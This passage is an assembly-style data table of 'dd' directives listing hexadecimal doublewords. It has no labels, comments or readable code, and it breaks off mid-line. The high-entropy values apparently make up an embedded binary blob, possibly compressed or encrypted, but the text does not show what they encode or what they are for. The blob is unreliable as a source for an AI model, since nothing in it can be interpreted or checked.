dd 0CB108369h, 110F3FDEh, 0DC1B44h, 821E369Bh, 517231EDh dd 793A13C0h, 400075E4h, 88111931h, 0A0E59349h, 1E8F1D1h dd 1E46DBCh, 80F2247Bh, 0AEEEFB19h, 71D7A2B0h, 2B8E0017h dd 0E7E20F07h, 550AA821h, 0FDA65A81h, 18437000h, 98C7A0h dd 0CE787FC2h, 626AA708h, 0FDD77A00h, 295DF42Ah, 0C9DA00D5h dd 0FC20653Eh, 59161E77h, 240FCBB6h, 260017FBh, 30AA3E5h dd 0ABA20E90h, 0FC0AD8CDh, 5E7300A8h, 2F6C3441h, 36452001h dd 7681F5C0h, 9F07D06Ch, 0F799757h, 8A302E60h, 0B89E6C8Fh dd 0D6C51280h, 7F2D371h, 9A46BE37h, 10E3F0FAh, 992DC383h dd 0DD1003D2h, 0ACE8A8EEh, 0FA427B7h, 4B57000h, 0C4BA3345h dd 2289F400h, 9399E37Dh, 3667005Ah, 4BC373BAh, 0A801B460h dd 280A3390h, 1AFC18CCh, 0DF253D4Eh, 0EBD7E680h, 6445ECA3h dd 2608CD48h, 0B10E9829h, 0B3A8408Eh, 0A083B080h, 4EA7C4h dd 7AE05451h, 0E7AB8CCAh, 7717889Ch, 0DFB7D000h, 7E01CE21h dd 8495072Bh, 106BB66Ah, 1DC1DC9Ch, 70C5D824h, 24D28C00h dd 941E3904h, 0DC768ED8h, 3E25AB40h, 0BE70C5E2h, 0F80090B8h dd 40D9A4F9h, 0C96724h, 0CC8E7292h, 82533717h, 6B151300h dd 0EC02BC8Dh, 50A2000Fh, 6A3F8EAh, 3F1764EFh, 20802A16h dd 0B05952h, 514F82E4h, 0A5FD8B35h, 8D0129F0h, 381BBB33h dd 17EC3052h, 3B2B019Ah, 86A4B91h, 0CD84D866h, 3D1038E3h dd 9B208071h, 0ECCE27A2h, 0B492A4h, 1113DA07h, 50DC1AB3h dd 9E3CCA73h, 0D89EF3DDh, 33634000h, 1E22E164h, 2F7B963Ch dd 0F16E84A3h, 0BE2EFC00h, 0AEA32B23h, 0CAD48F6h, 0E59F1708h dd 0F1C484Bh, 1CEC91CAh, 301A808Bh, 0B74AFAB0h, 9B0BF500h dd 0CF9091EBh, 0B37295h, 3386826Ch, 5B0602D8h, 0DC13472Dh dd 51003E42h, 4A71F73Ch, 1F77F9C9h, 0BEA6F800h, 282ADFFFh dd 8630009Ch, 0E4324DBh, 5DEE6472h, 0A8AF772Eh, 0E3C2F242h dd 158AE0A5h, 0EDD806F4h, 1162757Bh, 8200B8EAh, 0C4665472h dd 39DE9023h, 0AE85E0ECh, 0C7D640E9h, 67BB410Bh, 4F6AC4B8h dd 50598D00h, 41ACDE6Bh, 16217DBDh, 1B9FC1h, 54F7C841h dd 1D003313h, 27B59EBAh, 0A071AABFh, 6C65ACh, 0ED2306E9h dd 566CB8Bh, 0BBAC9C1Eh, 7E9F8CDFh, 47D79340h, 0E0EFAFh dd 0F75877C7h, 0CCF9B907h, 959EC100h, 1D618651h, 400127DEh dd 0E3EEC81h, 304B2AEEh, 35AB82E2h, 53A4E0EDh, 0E445006Ah dd 803BB609h, 0C5009A63h, 81ACA29h, 1DF07F1Fh, 0CC503F2Ah dd 0CE28E7B2h, 97758300h, 4FA52856h, 18E8D8h, 4DB88D9Bh dd 74111D7Eh, 0AC07D400h, 2205F7DBh, 4338036Dh, 0B1836391h dd 4A8A7DD0h, 0A10D1A06h, 0A89026h, 73244ED7h, 22FEF0D6h dd 0C406494Ah, 403008B1h, 0D0E78072h, 5801A101h, 3956BE1Ch dd 7F700294h, 18B13B5Ch, 3EAAC500h, 67CDF026h, 0B603E978h dd 7510ED36h, 0EC90EC7Eh, 74FE1A62h, 0F88F957Ch, 24A0C78Fh dd 5D2D2902h, 2839D40Ch, 18807182h, 287DFDDEh, 8CEB42F8h dd 98028A49h, 14525782h, 49381271h, 38EAC13h, 99DFB309h dd 0D01BD0FAh, 19540085h, 915EE4F1h, 5900D26Eh, 46A9C6C7h dd 0FEFB4376h, 25C858F5h, 58F2D000h, 6036C4EDh, 0ADE30A0Fh dd 197C6015h, 4A5E7F4h, 0EF173993h, 96DF809Dh, 0EA1686B3h dd 0FB004097h, 0E1DE3EF4h, 853B0042h, 811D28CEh, 0F1904A01h dd 76BA5700h, 6083D099h, 9B070061h, 4AD852F0h, 280122DAh dd 0D9378441h, 91D4E6E0h, 0D7813h, 0E1739C15h, 5A3DACE7h dd 0F734E400h, 12100FAEh, 9B2707E9h, 0AE4B5E24h, 0B57C6AC0h dd 73039FBDh, 33561251h, 0B018FB59h, 2CD17h, 60D08825h dd 419B8429h, 3C090D00h, 0E9467856h, 98D4A9FFh, 1303AC0h dd 555CE528h, 0D15D3D11h, 77246C82h, 5E3A0803h, 0E0FAE515h dd 0A97A529h, 76D7ABF9h, 0F36483DCh, 3CB846F1h, 4300FA17h dd 0CA7FF72Ch, 7C5E8182h, 0E5D80C01h, 47803E78h, 39E7048Ch dd 62ED290Bh, 0FD221A7h, 1CD8603Ah, 0C9029302h, 0E0238F06h dd 0D320722h, 2E3FC452h, 80402F70h, 466FC997h, 841600E8h dd 0F6207770h, 0B4BA2108h, 0E60E9EE2h, 81D651B8h, 3EBF7D25h dd 40750892h, 0B8EEF194h, 502547F0h, 0B77423h, 0F93C022Eh dd 57633BD2h, 2E722170h, 10C231h, 0B619529Ch, 7E7F652Eh dd 0F326C426h, 683A8400h, 5EFEDAh, 9E2BCD77h, 0F38C7FF6h dd 9C708D28h, 0E9035F01h, 6278746Dh, 0C03545F0h, 21B91570h dd 891C0892h, 9300A642h, 5FF5207Dh, 0B6F6B3h, 841967B2h dd 0D7FEDB35h, 0A78D0407h, 9520A307h, 0F0B52685h, 1FF1F380h dd 20BC2BE1h, 75DDB606h, 0BD0031D4h, 0ACECD8DBh, 0AB48FBh dd 0C413D53Dh, 0CA74145Bh, 0F121AD00h, 88AE966Bh, 3F6C00C3h dd 0C607EFC1h, 0B8008097h, 0A5938A44h, 53A77594h, 419C1499h dd 96A83C89h, 2D9980BCh, 8C6205ADh, 21850C59h, 68B19250h dd 4F3A8FE1h, 94118583h, 0DDD30C44h, 8815821h, 15E342EBh dd 2118A9DCh, 19A019F3h, 0ED49F410h, 0EAE26182h, 0E788A1D2h dd 0A0808C99h, 5E909CACh, 0E831427Bh, 0F2052118h, 1847EAD4h dd 5181112Bh, 0BE506F26h, 9300761Ch, 11436CADh, 781BB432h dd 0E81C78BBh, 0D76F0803h, 0A70730EAh, 10826ED5h, 6108874Eh dd 962783h, 91452D71h, 0A8A39AF8h, 0B8293F72h, 892694B3h dd 105100Bh, 0A6CFFCB4h, 708A1882h, 0CFC0458Ch, 0FCA823F8h dd 7A1F2B73h, 0B7405247h, 540C3975h, 1508EE2Eh, 80149B50h dd 0B5312F30h, 0B90091E3h dd 7E51BD7Bh, 555CB6Bh, 93E073A6h, 0F12C0003h, 0EF856E7Ch dd 0AE262400h, 0C470F816h, 0DCFC0087h, 271C0D3Dh, 0B2CB0FFh dd 0C600A12Fh, 5BF24EF9h, 7C54908Ah, 31D7070Ch, 0B318AA42h dd 1803B8C3h, 8F826A14h, 90D92CD6h, 0C0630036h, 64B9EE2Fh dd 8DC24200h, 857E4669h, 0FE111889h, 444E992Ch, 3595AF00h dd 6240147h, 337E017Fh, 85215D90h, 3881F057h, 0CDDB3402h dd 815CF397h, 0DE5028B0h, 3E2EEC51h, 76B0C451h, 952CB30h dd 9B816D3Bh, 53D62E80h, 0D9009827h, 194CEEDDh, 93FAB67h dd 7A8F8813h, 6EB87800h, 0A5395175h, 0E9DE0082h, 0B4B19CDAh dd 130E1481h, 0C1FA04B5h, 113C56C2h, 603152F0h, 2646D076h dd 5075FB36h, 0C1C63F8h, 0B3874213h, 8B115261h, 2888AF70h dd 0A991730Ah, 0A47BDB00h, 316421E0h, 3A143E00h, 18D91953h dd 2C0A3E71h, 28011B3Dh, 6AF69A1Ah, 5AC2C8E6h, 1EBAF300h dd 0E598B1C6h, 97CB1C6Dh, 4E1840E7h, 3CFBD6FAh, 51F44B00h dd 935D556Ah, 6404006Fh, 72F2A70Ch, 1A0016A2h, 7A415F20h dd 0CD2F01h, 5ED960F6h, 0E540425Bh, 5534B3Dh, 0DEDC67CEh dd 0F580E900h, 260E39h, 0FB3AE9E0h, 4A97515Bh, 314CA500h dd 0DCEECCCBh, 0A0F300FEh, 4783743Ch, 451E5433h, 90000F72h dd 0C3BD0E7Fh, 59630F77h, 3A20A7ECh, 82F19D1Dh, 4D3E6770h dd 3BEE80BCh, 6861B087h, 0C78A012Eh, 4F6B0D9Dh, 0F77DE837h dd 6A31D500h, 36BA5D10h, 85F8002Dh, 29461335h, 0D401B1CBh dd 0DA3DBD21h, 90FBABA5h, 0E7B3A76h, 721D96CAh, 31D2E220h dd 1100CB15h, 6A0182EFh, 1E1BC866h, 8026CFD7h, 0E3CE3527h dd 0D8008CC0h, 0BDD4672h, 676B8176h, 60FC60D0h, 0AC07146Eh dd 708CBA0Eh, 0F4F00031h, 0EADA6A4h, 0F6055F1Eh, 49E45566h dd 7F5EC800h, 0DAA17C09h, 9C500E99h, 0CDA2D48Bh, 0B48174E8h dd 0F019044Eh, 0B5007F87h, 2D9734C8h, 0A80F71h, 2985709Eh dd 79010C31h, 0E4446003h, 0E8976125h, 78CA46F9h, 0BE5E006Ah dd 0EAC4DB4Eh, 0E001B49h, 0D122CE2Fh, 48C5AADFh, 8F006C5Dh dd 4EB57AC2h, 0AD006D74h, 88C4F2D2h, 48D1C951h, 0CD07433Ch dd 302AB705h, 0EA1B0E68h, 0A8624B30h, 0AF9DCBh, 0D43390FFh dd 0AA262AFCh, 0EC9EBE01h, 0CA195831h, 1A3FC24h, 0FFAAD7Bh dd 9FB3096Eh, 0E500C1E9h, 47B68ECEh, 2BD00094h, 53C6F622h dd 0B200F170h, 0BB88ED1Dh, 79A84AD3h, 2BB40698h, 78915C59h dd 41079C87h, 1EB067A3h, 0B8C7C5h, 0BF315306h, 5B6E4D12h dd 1C3D74CAh, 8007A0E3h, 39AA45Eh, 3C2E9258h, 0B9C9494Ch dd 8BD7EC20h, 3807BA00h, 9F6A430Eh, 93D52D12h, 0D000B976h dd 72203BBBh, 0B84C0021h, 33992278h, 0C538A3E3h, 0A65B07C9h dd 0B8051EEh, 9D2747h, 0BD7AE748h, 0E9EC362Fh, 10C024B0h dd 90300BB4h, 0AE2FE92h, 5A191B06h, 4AC03A4h, 9AF9C5B3h dd 0AAC2413h, 0B25C7C00h, 53FAD1Fh, 0C779A0h, 9B6AEC31h dd 5A248050h, 0EF0E97F8h, 0C0C0372Fh, 4303D866h, 1BBF00DFh dd 97E514E2h, 63019E3Fh, 0B2DB4641h, 7AD4DE3Eh, 0B8C83AE4h dd 4994F31Fh, 0C21CE72h, 23248990h, 0E66F1D34h, 0C69F0079h dd 8FCA80A4h, 4AF757Eh, 88CC1CFCh, 81A0C3B8h, 0CE5F02A8h dd 3F18D190h, 0FFC87320h, 0F5B00Eh, 19344B89h, 0D66D12DEh dd 9206F4A7h, 239C70Ch, 0D0479853h, 6BC0FB0Ah, 96008E5Fh dd 0C1A185ECh, 2426082Ch, 0C0445ADDh, 0C853354Bh, 5767AE00h dd 0FFACB4D9h, 88A24D06h, 0E3509300h, 0BC606B12h, 0D1264F00h dd 250BF34Ah, 0C9553824h, 8A8103B0h, 39508F92h, 5E0554ACh dd 78EEDB96h, 452FD440h, 3410FF1h, 0A4F50598h, 0C88E952Dh dd 0B6A33A00h, 43B550E5h, 97BD007Dh, 0AC9CC60h, 0D807AF9Ch dd 3588B23Ch, 2C0FB9ACh, 5034461h, 32B620DCh, 0FCC2EFC0h dd 0CCC45861h, 92007E70h, 0F66C944Bh, 2B0DC641h, 3EB886B1h dd 6E1BED00h, 22F291BCh, 0AEB3C11Dh, 802D79C3h, 0D546D8F7h dd 8D74004Ah, 1A1ED838h, 0A8A02E6Ch, 5F80B472h, 4D9000B5h dd 0F4D06366h, 42E7E35h, 0FF03318Fh, 0F0262908h, 484E8913h dd 2800506Ch, 0A58AC0BFh, 200090A3h, 3ADB476Bh, 1A2572Dh dd 0AB0D55D1h, 608AA7EAh, 0D20125BCh, 0AFFA1466h, 9C435DDFh dd 211FC8D0h, 0ECD6151Ah, 0D40F949Ch, 0EF8356C3h, 0C898E076h dd 130005F7h, 8C84ACB6h, 1DB0CD2Eh, 0C63C6815h, 0A01127CCh dd 3FFEAA73h, 0FF4E3100h, 2A09A7EFh, 43B61CE5h, 6CC0C250h dd 784E6245h, 0B871EF29h, 0C2741115h, 62E352A4h, 0C7C80234h dd 876540D2h, 0FBCB04CCh, 0C0959EF9h, 3C6D4A20h, 0E7F7AA00h dd 81789DADh, 119B0031h, 0DD1A6447h, 7D059F0Dh, 0EEDCFE59h dd 2A6BD800h, 484127CFh, 4850A82Eh, 2661F468h, 810484FBh dd 7EEB126h, 0C3BC3278h, 91C27EF8h, 0C60DF21h, 0F65601CDh dd 95C5040h, 437C2461h, 5AD362C0h, 0F3058DC5h, 35B55880h dd 868A498Bh, 9626FC0Bh, 66400A0h, 19D94E8h, 0E92BB0ABh dd 509B4656h, 40A17DD8h, 2B38E0Ch, 1EEB8EAEh, 40F94808h dd 8AEF0D75h, 9D1C0771h, 0E4C03CF2h, 37A0AA2h, 1E7C12FCh dd 40581D49h, 0CED54B41h, 3B0CC53Eh, 60762409h, 0A795006Bh dd 36A6077Ch, 0E28634Ah, 9A01B78Ah, 3F429F76h, 79FD4C47h dd 1DD83084h, 5AEFC09Ch, 4100FF8Bh, 5C540E20h, 3D792F0Ah dd 2A80C058h, 86FA74Ch, 0C202DCDAh, 3386F557h, 0AD4C408Bh dd 0DE2F09FFh, 1F80D5EBh, 6C3D19ABh, 9AF58301h, 5ED69944h dd 5445D4h, 301FD942h, 0B966D5CDh, 3DEAFE03h, 0A23EF68Ah dd 586040FCh, 0D0C755A7h, 0A2FA6F42h, 0C0E245E4h, 3B7936A3h dd 580B96Ah, 0CC7157B1h, 10E4E6D5h, 0BA650B1Fh, 0D62462C0h dd 0EA67BFh, 5892735Fh, 89684A47h, 0CEF58100h, 0F16ED087h dd 3313394Eh, 4032620Fh, 9BB5003Fh, 1AA03E94h, 0AB26A00h dd 0D2DBDE5h, 7CDAF8AEh, 5ADE00C6h, 0CACD0F6h, 7600BF92h dd 0B5CCE90Bh, 0FA8BD444h, 0C57B02h, 0C7AD1162h, 4079ED1Fh dd 9575362Eh, 0CE3D803Dh, 978C4CF3h, 50731567h, 0D212A80Ah dd 7F421D1h, 0DE980062h, 4D470263h, 5D69CB2Dh, 0BB03C850h dd 413219E9h, 0FF5AE049h, 3CACFC02h, 0DD2CBAEEh, 10B8838Ch dd 6B9A9386h, 0B4986050h, 3CA5383Bh, 262B8B58h, 8284A9CAh dd 48E0B41Ah, 0C090B758h, 2D65089Ch, 0CC00ECE2h, 2B9D37D2h dd 2C26861h, 0A0421615h, 54685775h, 2870CF74h, 80248859h dd 89425AD2h, 95A6000Eh, 3A2260F3h, 0AF003FA1h, 0D1FF2303h dd 715169C0h, 150116E2h, 0D4D1031Eh, 3DA8A950h, 0F417FFE5h dd 0D00B1A47h, 5976073Fh, 8099F5A3h, 72E92Eh, 0F9A2628Dh dd 7830EC2Ah, 0EC2C3F24h, 89038780h, 7AB66A85h, 98647B10h dd 0B58B21E0h, 57459100h, 10940FCh, 0A51A5B03h, 5093F9B8h dd 5C155AA4h, 0F090E858h, 690F25D5h, 589E5876h, 9B44988Eh dd 95B40060h, 0C5CADC6Fh, 46583FEAh, 721DE018h, 0FD620193h dd 0B16B8824h, 0D3188156h, 6A4A96FFh, 172064h, 872B9ABEh dd 0D4701DC9h, 0F456600h, 0A9D59968h, 24810209h, 0E3471690h dd 0B7670051h, 8C0B1255h, 4A50989Fh, 0AB3F0146h, 0DFC39EFEh dd 53843433h, 0D0E5262Ah, 230090B8h, 0C80370FAh, 0C040EF15h dd 0C73092C1h, 987DFBBBh, 0FE45C909h, 0C39CA097h, 499C5912h dd 4603505Ch, 4D48F74h, 0B9DE1DA0h, 9F6839h, 228E4535h dd 0C334DDh, 27DFC581h dd 0FB71C90Eh, 4D6FA000h, 0E4D488C7h, 0B5850772h, 0BFDD97AFh dd 9AD0E140h, 71003E3Fh, 14F4A4D7h, 5ABE3E6h, 0B3BB0181h dd 5FF44269h, 146086C8h, 41E16A09h, 50BEBFF4h, 3357FAB8h dd 8BEB160Ch, 712FB117h, 10DE60Eh, 9CD15CFEh, 704ED7B9h dd 963A0C27h, 0DDC080A6h, 56AEF8CEh, 62EF0073h, 0C5121B3Eh dd 8A3F4696h, 0AD0070AFh, 0EF9ED1A1h, 0E4C1FF32h, 939C00EBh dd 8630CA0h, 0CC0042A7h, 21D10568h, 31B8C3h, 94823472h dd 45A14BA2h, 0DF14E100h, 0EF1B677Fh, 64102624h, 9370B18h dd 0E001AC0Eh, 38D18CA7h, 0CF9B0000h, 0D23E5EAFh, 136E0FB9h dd 405E70A5h, 8F22E4F8h, 0EA009048h, 0CA56FD61h, 941155h dd 16763C7Dh, 0D228C7D1h, 280CF59h, 3043AB04h, 0EBDC68BFh dd 160324C7h, 572381C4h, 30BA95F8h, 78169E6Eh, 0D0007C5Dh dd 4E8B7FFDh, 525E012Ch, 0E4535AC9h, 7EB4603Dh, 1C9F2048h dd 505FD88Ch, 32D9AB80h, 0B5CA1Eh, 15E42507h, 0F5BE35A6h dd 4975C300h, 0B869868Eh, 821A0391h, 52E39DEh, 550B01A0h dd 0A4EAD1E6h, 0E61FDD0Eh, 704B206Ah, 0FFC79Ch, 0A1740825h dd 11DD5D60h, 0C6D09607h, 48D02947h, 7ABA942h, 0AF4EED68h dd 122BF09Fh, 1C0FA6E6h, 833AC7A4h, 0F8EB5E74h, 9D597Eh dd 3B7CE3EDh, 0F7E8B92Eh, 0E67D0B00h, 90BB2D14h, 501C00E1h dd 5C823BE7h, 0DD0091F3h, 0AF8B9F6Fh, 35CEAEh, 18FB5F78h dd 14D979FFh, 0B8633203h, 90812AD0h, 0BCF3173Bh, 86B60056h dd 93E6A630h, 8E65A300h, 0C8AF0D11h, 2F2B3h, 77B823E8h dd 0C362DC99h, 10D8BF00h, 0D05D4514h, 17B00084h, 0B37559C5h dd 0BBF68E6Bh, 0F48AFF6h, 22970220h, 40E39BFDh, 38B1ADDCh dd 0FC002552h, 9E9AE0AFh, 8E07B0B9h, 61EE0575h, 4440400Eh dd 74A86Fh, 0D45D4202h, 0D77E3368h, 964F9A09h, 0A0200C26h dd 3EAB5h, 32F1F0F2h, 0DB157C6Eh, 991E8DE4h, 7440FF58h dd 9695F230h, 50603BB6h, 0A5B0DB00h, 847FC6D4h, 0A1667600h dd 4799BD70h, 7C5500D0h, 6ACE7858h, 0E00C42Bh, 277B6F76h dd 4A960426h, 6B5C00A3h, 57A679E9h, 0A45EDFA0h, 6941B100h dd 0F963BBBDh, 34E10042h, 0A5ADC053h, 0ED021A9Bh, 54CAA17Fh dd 0B3306881h, 0A0103E6h, 0BA73F97Bh, 36CCD912h, 5C60D813h dd 0EC85519Ah, 8EA700D4h, 0BB7443CBh, 0D7001D75h, 0D2A904BDh dd 0D08081h, 5A97A5FFh, 8B1FA4B8h, 0FA89EA02h, 0C3315023h dd 39DCE87Bh, 7DF800BAh, 3D2990B2h, 10064E8h, 9F2EE6C2h dd 37A6C8h, 738D50DBh, 0DD7F0A85h, 0F7011902h, 0E3DEBA4Eh dd 1E69A0E4h, 9B7200D9h, 0BCC84F43h, 14035A5Dh, 0C1DE821h dd 3AF6A87Dh, 3F880025h, 6E638BE9h, 0E00604Ah, 52C64F8Ah dd 58BCEE65h, 6C0085CAh, 0DCF679F9h, 0F100C3D2h, 621D15A5h dd 1C49066Ah, 817CB423h, 4F0CB0Eh, 7ADAEC6Bh, 0C090C600h dd 85D03851h, 46F70078h, 68186D4Fh, 0A50143F2h, 8AF9804Ch dd 0BC2C7E9Fh, 0D6D06400h, 0ABAA4DEFh, 36BBA112h, 2CF035A0h dd 1EC065B4h, 0D583CEEAh, 4BCBC03Dh, 13A7649Dh, 0F5DAD150h dd 8303F62Ch, 0C9F10D01h, 0CC6023E3h, 4ABF0022h, 8EA825CAh dd 826116D5h, 2A8FDA18h, 0D903E038h, 0E7173056h, 91D30812h dd 868044C7h, 394BB31h, 3C11EC47h, 20A8DDA0h, 19177D6Dh dd 0F9011FCFh, 0DF60F79Ch, 0A4A8E0h, 78BF2B1Ch, 0AC153608h dd 2FE33C00h, 0FE96C822h, 0E7BE00F9h, 2A04305Eh, 0C8B6505Dh dd 620A4C1Ch, 0A680887Ah, 7E8E1F38h, 4EFD0030h, 4D3215BCh dd 1D00DA26h, 449A9966h, 2089456h, 0F3A9401Fh, 20801903h dd 0D98010FCh, 16E9E617h, 0BB308800h, 6E5232E7h, 0BE6A70B5h dd 77E6480h, 8E0014C7h, 3D548801h, 199D7DDCh, 6F598057h dd 70E46968h, 7C50FB0Fh, 49CDE2C9h, 78500Ch, 0DB27F29Dh dd 0C489CB58h, 17B94D07h, 0D010F0B2h, 0D4475CCh, 88C5C6B0h dd 40026181h, 90EC8DABh, 1F587718h, 0C3555218h, 61828108h dd 46950AC8h, 0EEEA000h, 0E597082Dh, 9ADA1320h, 5CD9008Ah dd 487C36BFh, 9F395060h, 1964D18h, 43D2583h, 0D0977691h dd 5E00567Eh, 0D3DCE30Eh, 0FB63C9h, 838EA561h, 0BE086A10h dd 0A1B1C530h, 0E3243E5h, 4B27641Fh, 0BBB28180h, 6D3F2651h dd 107A0F77h, 38B400E3h, 0CE203D3h, 0EFDA638Fh, 0C1072141h dd 4C279996h, 78AD8C3h, 488D2A19h, 4E8E10B7h, 7F50A461h dd 0F000A0B7h, 8F20BAB6h, 98788698h, 7E5186Ch, 84BCD9E7h dd 0C00C2EEh, 9159A6D5h, 0F8C157D9h, 0FB78B7h, 362D9DF2h dd 0A4C6B293h, 0BE45D003h, 7BC97D9h, 0F0565E20h, 0E0CE2013h dd 0CA604E5Ch, 0B0F5B210h, 0F610032Ch, 0F93B575Dh, 0CD970818h dd 0B0DED220h, 3312002Ah, 0B3E22D8Eh, 7C605CC6h, 0C8B5FA41h dd 85371E71h, 0CC5EC09Dh, 872CEB51h, 634A4239h, 921330h dd 29460350h, 0A7A6BC9Ah, 0D62BEB01h, 40AD95CFh, 3C59A0h dd 8D104A18h, 1201460Ch, 7D625F00h, 9773FC17h, 0ECCD009Eh dd 39262E9Ch, 50C1BDA6h, 0B064C9D7h, 0C673F088h, 0ED2F9200h dd 0F6709Ch, 0CF06E48Ch, 0BF9BE8F4h, 59160507h, 9E8797D3h dd 99C0B644h, 4003C1h, 6D6932A4h, 0DB6F55F7h, 4B019AB8h dd 8D1B863Eh, 0C4CD9CBDh, 7A9B20h, 0D75AF85Dh, 9BB437A0h dd 0E7483A73h, 0CE3AA5h, 0B97A8AB8h, 3B9886h, 842AF993h dd 4DE9FAC0h, 0F01FD900h, 27BED51h, 9EF80176h, 0FE0E9794h dd 0E969708Bh, 28252D01h, 710A6154h, 9E041D0h, 21AEC6A0h dd 0A86E5901h, 0D369F8B6h, 6B52BE18h, 77FB410h, 22E82EEEh dd 0DAD0B15Bh, 68A1FC5Ah, 4FD20C0h, 60880AF2h, 0DA541060h dd 0E0048C2h, 9A8FA594h, 3BC066h, 0B7F806F4h, 61716B54h dd 4800C1E6h, 99155ED3h, 81B942h, 80177CDBh, 6D880C56h dd 0A3C951C2h, 7F1CE093h, 855B00BAh, 0F5CAABC3h, 94066433h dd 51BEB676h, 59E400B1h, 5FB2C7D6h, 6100F8BFh, 0C53537BBh dd 67D25CF1h, 31EF2954h, 806ABE1Dh, 32280311h, 0E084A63Dh dd 480100BAh, 0F3859F1Dh, 20784ECBh, 86EAE03Bh, 5560DE6Ch dd 0DFAA0738h, 2049A7EDh, 0FEACB173h, 0E9B50132h, 40BA8F02h dd 0B88CE6C8h, 57D0C3A6h, 609FF627h, 75BE5607h, 21695003h dd 80BC617Fh, 2E5CA32Dh, 17658EFDh, 0CF810C51h, 3F6FB7B9h dd 785F00B1h, 0B5EAD3h, 6717697Fh, 0E415EBA9h, 0DBC2A700h dd 0D1C855E1h, 0B6980CF3h, 6B81C917h, 4177F700h, 690DDBB3h dd 88807E2h, 5303572Bh, 4FC18DABh, 89698650h, 37087766h dd 0CF41FF15h, 6F97F523h, 0F9171E8h, 0F152560Dh, 36C4F9B4h dd 881092BDh, 8FDE7Ch, 0DA4B7DACh, 58303304h, 2351FE00h dd 1F85931Ah, 8BA7183Eh, 227A31B9h, 4BCD6D0Fh, 815F401Bh dd 0BD3730h, 8AA95EEBh, 3C771036h, 0C6171A03h, 14FD1FBEh dd 0D0733838h, 417B09Ah, 4D2F80DFh, 55F9C1F8h, 79E05048h dd 94415141h, 0CA10B3EDh, 0AA00AB92h, 26E94FD3h, 0FCF3D888h dd 0CB95027Ah, 8BA0B663h, 8501A044h, 57AAC9A7h, 99F88925h dd 0DA400023h, 1CE6DB0Dh, 0D3004C02h, 5FBCF2F5h, 62316DD6h dd 0E3069930h, 819D5C61h, 7903B711h, 73D09F21h, 0FD1801DFh dd 5CC54AEEh, 0D8E4705Eh, 0DCCA5D0Ch, 36B488C9h, 0D0E1723Fh dd 49550C33h, 419C6D0h, 47EE33F4h, 7AC8D869h, 26B3A301h dd 0E7E2111Eh, 4C9FDB20h, 1D00C8CDh, 778E8608h, 0F950C4D5h dd 40B10B98h, 0EE18B979h dd 0A70D981Ch, 35430C5Dh, 0D0E9F499h, 0C06F75AAh, 0C7F8BDA1h dd 0B500ED32h, 3565957Eh, 0A6038Ah, 93DEE5EBh, 8EF9310Ch dd 908CF40Dh, 16F490C0h, 5629071Eh, 0C011186Bh, 0C853CE81h dd 0B126620Ch, 5889A4h, 27742596h, 7FC0A7EAh, 0B70C3D03h dd 0F0483B9Bh, 1FAEE8Fh, 9EB7933h, 4D5CEC70h, 0F7E8FCB0h dd 553D1E07h, 0E2911971h, 1424B201h, 2E210008h, 0B0A26473h dd 923A7D74h, 2109339Fh, 972EF072h, 95B4005Eh, 7A78E503h dd 0E8F0B556h, 8B807554h, 80E66F38h, 0D488C0A0h, 5049C8FBh dd 529FC4C2h, 32CF03Dh, 0C31E4060h, 5001DF8Ch, 0C079E428h dd 0D851FB7Eh, 8801BCFCh, 1A398063h, 4118B7F4h, 39D5E49Ch dd 0F580EF6Ah, 7B292EA3h, 68C82178h, 656E8E74h, 89483092h dd 883749C6h, 0A1702177h, 70A415E9h, 71FB0022h, 3DB0C27Ch dd 0CA58B450h, 85F4483Fh, 0A861F056h, 9463D2B4h, 0A5D56202h dd 2CE05D25h, 4A80A745h, 89EA0058h, 4D8C42A3h, 4F038077h dd 569DB7Eh, 0B429D0F3h, 0AD510A3Eh, 80F4BFA8h, 445FD276h dd 783A3F1Ch, 5CC0A4D5h, 70601844h, 0E81075EEh, 0CFC85ADAh dd 0EE789480h, 485689B5h, 0CE80A897h, 0E371D264h, 8104344Dh dd 0FB06D807h, 0CA26CC50h, 0C6991221h, 96B420B1h, 2003F54Dh dd 29E79FDBh, 9CCFC019h, 5EE038DEh, 22F8E524h, 0F6FF3E18h dd 0BBCCF39h, 816AB91Ch, 11B708F7h, 4D1834C8h, 0E0FD1B0Ah dd 7692C038h, 0BEC83C43h, 77490068h, 0D3043ABDh, 7B03A055h dd 5A8C1814h, 2F29D0C0h, 0A6E009F0h, 6490D2B7h, 30A4217Bh dd 3E9E08C4h, 37D24C8h, 0D5F611DFh, 40FCBEFAh, 947BBAA5h dd 1268E632h, 3A29383Ah, 0B66C1094h, 0E4B585C1h, 88F7DC80h dd 6D2EBE72h, 0F4427811h, 2668E88Eh, 0A0603F7h, 0D449DF7Ch dd 69C15BB8h, 0E36A7114h, 91316081h, 0C38867h, 8D8F1D74h dd 53D26D89h, 5CE951C4h, 1C7BF0C0h, 0D1112E1Dh, 0BF630362h dd 99036239h, 3113196Eh, 8E7DA1ACh, 7E2EADE0h, 203D01F0h dd 27283391h, 1D6C7203h, 207A85h, 81F00EA0h, 2DBFEA5h dd 0A7F62700h, 0F4520624h, 0C4B741E2h, 0B1C4BC11h, 4A4F155h dd 0B0DA0465h, 90A9646Fh, 12EAAAC4h, 801C9858h, 7D09B5A7h dd 0EB0C00FEh, 0CE741E2Eh, 4000CC7Ch, 0DEE6E0F6h, 14B13AE8h dd 0C8188EDCh, 3D8C61BCh, 36928DF2h, 1B00536Ah, 18C1210Ah dd 66CCC0D0h, 227EA503h, 461C44Ch, 21C8EA29h, 0D89086CDh dd 9D9EF710h, 53282200h, 23E76D8Dh, 62455B00h, 0E0647ABFh dd 56820541h, 1830D40Ch, 772158AAh, 0EFC36E18h, 3177AB8h dd 5A73238Fh, 21C0BE8Bh, 0E11E381Dh, 7B01C619h, 835899FAh dd 3BC24880h, 71661774h, 15632905h, 1820168Ah, 63209F5h dd 8126A601h, 400FC1B9h, 85E06687h, 18C0BCD6h, 7D403DAh dd 0C247CAE8h, 4FD9116Fh, 3060DA44h, 0E3032FE6h, 0E81899D0h dd 0A5CB07Fh, 24D7779Eh, 314CC32Bh, 104FDBB9h, 286C77F6h dd 449C254Bh, 0E605026Eh, 0FD5DFFCCh, 0E31DD440h, 24EE5C90h dd 11306D77h, 5F49000Ch, 0C9309728h, 0F07A0C0Dh, 0BF491975h dd 32A75102h, 0C09778EBh, 0A7F6B88h, 0B4847112h, 13BC80E0h dd 0A3A9EB5Fh, 0AFF57C00h, 5EDA87B9h, 0E6F610h, 0A8690607h dd 6D9F8E08h, 3544DB00h, 6A37BC70h, 2080B878h, 500A745h dd 8288946Eh, 0BCDCAFh, 0B239317Bh, 1A249C5Ch, 77BA2E00h dd 4E4D5F7Dh, 6866003Bh, 